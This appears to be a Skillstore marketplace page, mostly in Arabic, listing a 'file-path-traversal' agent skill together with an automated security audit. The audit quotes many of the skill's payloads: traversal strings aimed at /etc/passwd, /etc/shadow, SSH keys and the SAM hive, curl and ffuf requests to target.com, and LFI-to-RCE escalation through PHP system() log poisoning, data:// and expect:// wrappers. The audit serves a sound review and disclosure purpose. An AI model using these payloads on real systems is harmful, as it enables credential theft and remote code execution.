المهارات file-path-traversal
📦
file-path-traversal
مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات
اختبار انكشاف اجتياز المسارات
يمكن أن تكشف ثغرات اجتياز المسارات ملفات الخادم وبيانات الاعتماد. ترشد هذه المهارة المختبرين المصرح لهم خلال الاكتشاف والتحقق وتقييم الأثر والمعالجة.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "file-path-traversal" from https://skillstore.io/skills/sickn33-file-path-traversal.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "file-path-traversal". تقبل نقطة نهاية تجهيز مصرح بها معامل file للتنزيلات.
النتيجة المتوقعة:
- خطة تقييم تتضمن النطاق وحالات الاختبار الآمنة وشروط التوقف.
- قائمة تحقق للأدلة تتجنب جمع المفاتيح الخاصة أو تجزئات كلمات المرور.
- نصائح معالجة باستخدام قوائم السماح وفحوصات المسار المعياري.
جارٍ استخدام "file-path-traversal". يحتاج مطور إلى إصلاح وصول غير آمن إلى الملفات في معالج ويب.
النتيجة المتوقعة:
- ملخص السبب الجذري لإنشاء المسارات دون تنقية.
- استراتيجية تحقق موصى بها باستخدام المسارات المعيارية وأسماء الملفات المعتمدة.
- أفكار لاختبارات الانحدار لمدخلات الاجتياز والترميز والمسارات المطلقة.
جارٍ استخدام "file-path-traversal". يحتاج قائد AppSec إلى صياغة تقرير حول انكشاف مؤكد لاجتياز المسارات.
النتيجة المتوقعة:
- ملخص أثر الأعمال مع حجب البيانات الحساسة.
- مبررات الشدة بناء على الملفات القابلة للوصول وسياق التطبيق.
- خطوات معالجة ملموسة ومعايير تحقق.
التدقيق الأمني
حرجv6 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
The skill is explicitly offensive and includes payloads for sensitive file disclosure, SSH key targeting, SAM hive access, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but most filesystem, sensitive file, network exploit, and blocker findings are confirmed.
1
الملفات التي تم فحصها
493
الأسطر التي تم تحليلها
64
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (48)
حرج
SSH directory access
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
SSH private key file
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
حرج
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The line targets the Windows SAM registry hive. Disclosure can expose local account credential material.
حرج
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
عرض جميع النتائج المؤكدة البالغة 48
حرج
System password file access
../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/etc/shadow
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
....\/....\/....\/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
..././..././..././etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd%00.png
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd...............................
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd.jpg.php
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/var/www/images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/etc/passwd # User accounts
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/etc/shadow # Password hashes (root only)
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
# Traverse to /etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
..;/..;/..;/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
| `../../../etc/passwd` | Linux password file |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
| `/etc/passwd` | Absolute path |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
| Linux | `/etc/passwd` | User accounts |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System password file access
| Linux | `/etc/shadow` | Password hashes |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
حرج
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
حرج
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
حرج
Explicit Offensive Exploitation Intent
The skill states that it identifies and exploits path traversal and lists exploitation proof with extracted file contents as a deliverable.
The purpose and deliverables explicitly prioritize exploitation and extracted file contents. This is intent-level evidence beyond individual payload strings.
حرج
LFI to Remote Code Execution Escalation
The skill provides log poisoning, proc environment, PHP wrapper, data wrapper, and expect wrapper escalation paths from LFI to command execution.
The section is explicitly titled as escalation and includes command execution techniques. The intent is clear and technically actionable.
مرتفع
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
مرتفع
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
مرتفع
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
مرتفع
Automated Fuzzing Against Web Targets
The skill walks users through Burp Intruder, ffuf, and wfuzz workflows to attack file parameters and filter successful responses.
The section provides a complete automated testing workflow against target URLs. It can be legitimate only inside authorized scope.
منخفض
System reconnaissance
/etc/hostname # System hostname
The line lists /etc/hostname as a traversal target. Hostname disclosure supports system reconnaissance.
عناصر مراجعة القدرات (64)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
حرج
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
حرج
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
حرج
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
حرج
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
"http://target.com/page?file=php://input"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
حرج
Hidden file access
/root/.ssh/id_rsa # Root private key
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
حرج
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
حرج
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
حرج
Linux /proc filesystem access
/proc/self/environ
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
حرج
Linux /proc filesystem access
/proc/self/environ # Environment variables
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
حرج
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
حرج
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
حرج
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
مرتفع
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
مرتفع
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
مرتفع
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
مرتفع
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
مرتفع
Path traversal sequence
- `../` sequence moves up one directory
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..\..\..\windows\win.ini
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
# When ../ is stripped once
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
....\/....\/....\/etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..././..././..././etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd%00.png
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd...............................
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd.jpg.php
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
/var/www/images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..%5c
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
....\\....\\etc\\passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
مرتفع
Hidden file access
/var/www/html/.htaccess
The line targets a hidden web server configuration file. Disclosure can reveal access controls, routing, or deployment details.
مرتفع
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
مرتفع
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
مرتفع
Linux /proc filesystem access
/proc/version # Kernel version
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
عوامل الخطر
⚙️ الأوامر الخارجية (50)
SKILL.md:46-53 SKILL.md:53-56 SKILL.md:56-70 SKILL.md:70-90 SKILL.md:90-93 SKILL.md:93-94 SKILL.md:94-95 SKILL.md:95-96 SKILL.md:96-97 SKILL.md:97-103 SKILL.md:103-121 SKILL.md:121-125 SKILL.md:125-136 SKILL.md:136-142 SKILL.md:142-155 SKILL.md:155-159 SKILL.md:159-169 SKILL.md:169-173 SKILL.md:173-179 SKILL.md:179-183 SKILL.md:183-199 SKILL.md:199-205 SKILL.md:205-244 SKILL.md:244-250 SKILL.md:250-273 SKILL.md:273-279 SKILL.md:279-286 SKILL.md:286-290 SKILL.md:290-300 SKILL.md:300-304 SKILL.md:304-314 SKILL.md:314-320 SKILL.md:320-330 SKILL.md:330-334 SKILL.md:334-342 SKILL.md:342-346 SKILL.md:346-359 SKILL.md:359-365 SKILL.md:365-390 SKILL.md:390-396 SKILL.md:396-416 SKILL.md:416-418 SKILL.md:418-432 SKILL.md:432-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-450 SKILL.md:450-451
🌐 الوصول إلى الشبكة (15)
📁 الوصول إلى نظام الملفات (47)
SKILL.md:56 SKILL.md:105 SKILL.md:106 SKILL.md:107 SKILL.md:108 SKILL.md:111 SKILL.md:112 SKILL.md:115 SKILL.md:119 SKILL.md:120 SKILL.md:143 SKILL.md:144 SKILL.md:145 SKILL.md:148 SKILL.md:149 SKILL.md:152 SKILL.md:161 SKILL.md:162 SKILL.md:165 SKILL.md:168 SKILL.md:175 SKILL.md:178 SKILL.md:194 SKILL.md:198 SKILL.md:325 SKILL.md:329 SKILL.md:370 SKILL.md:373 SKILL.md:377 SKILL.md:384 SKILL.md:440 SKILL.md:441 SKILL.md:442 SKILL.md:461 SKILL.md:462 SKILL.md:215 SKILL.md:216 SKILL.md:217 SKILL.md:231 SKILL.md:130 SKILL.md:235 SKILL.md:236 SKILL.md:237 SKILL.md:238 SKILL.md:337 SKILL.md:341 SKILL.md:452
الأنماط المكتشفة
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-file-path-traversal/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
zebbern. (2026). file-path-traversal security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal/audits/6اقتباس BibTeX
@techreport{zebbern-sickn33-file-path-traversal-2026,
author = {zebbern},
title = {file-path-traversal security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-file-path-traversal/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal:audit:6"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
85
قابلية الصيانة
85
المحتوى
69
المجتمع
83
الامتثال للمواصفات
ما الذي يمكنك بناؤه
التحقق من نقاط نهاية التنزيل
اختبار ما إذا كانت معاملات تنزيل الملفات أو عارضها يمكنها الخروج من الدليل المقصود.
إعداد تذاكر المعالجة
تحويل سلوك الاجتياز المؤكد إلى توجيهات واضحة حول الأثر والأدلة والإصلاح.
مراجعة منطق الوصول إلى الملفات
مقارنة تعامل التطبيق مع الملفات بأنماط التحقق من المسار المعياري وقوائم السماح.
جرّب هذه الموجّهات
شرح المخاطر
اشرح كيف يمكن أن يؤثر اجتياز المسارات على ميزة التجهيز المصرح بها هذه. ركز على خطوات التحقق الآمن والمعالجة.
إنشاء خطة اختبار
أنشئ خطة اختبار لاجتياز المسارات لنقطة النهاية هذه الواقعة ضمن النطاق. ضمّن المتطلبات المسبقة والتعامل مع الأدلة وشروط التوقف.
تحليل النتائج
راجع نتائج الاختبار المصرح بها هذه وصنف الأثر. احجب البيانات الحساسة وأوص بإصلاحات لكل معامل متأثر.
تخطيط تصعيد مضبوط
بالنسبة إلى مختبر معتمد، وضح متى قد يتحول LFI إلى تنفيذ كود. ضمّن الموافقات والاحتواء وجمع الأدلة الآمن.
أفضل الممارسات
- أكد التفويض الكتابي والنطاق قبل تشغيل أي اختبار.
- استخدم ملفات canary أو تجهيزات المختبر قبل محاولة الوصول إلى مسارات حساسة.
- احجب الأسرار واربط كل نتيجة بتوجيهات معالجة.
تجنب
- تشغيل حمولات اجتياز المسارات ضد أنظمة خارج النطاق المعتمد.
- جمع المفاتيح الخاصة أو تجزئات كلمات المرور أو الرموز كدليل.
- اعتبار الحمولة المحظورة دليلا على أن الكود آمن.
الأسئلة المتكررة
من ينبغي أن يستخدم هذه المهارة؟
مختبرو الأمن ومهندسو AppSec والمطورون العاملون على تقييمات تطبيقات ويب مصرح بها.
هل تتطلب هذه المهارة تفويضا؟
نعم. استخدمها فقط بإذن كتابي ونطاق واضح.
هل يمكن أن تساعد في المعالجة؟
نعم. تتضمن إرشادات لقوائم السماح والمسارات المعيارية والوصول الآمن إلى الملفات.
هل تجمع الأسرار تلقائيا؟
لا. المهارة إرشادية فقط، لكن المطالبات غير الآمنة يمكن أن تؤدي إلى كشف بيانات حساسة.
ما الأدوات التي تذكرها؟
تشير إلى أدوات مطوري المتصفح وBurp Suite وOWASP ZAP وcURL وffuf وwfuzz.
هل هي مناسبة لاختبار الإنتاج؟
فقط مع موافقة صريحة وحدود معدل حذرة وقواعد للتعامل مع الأدلة.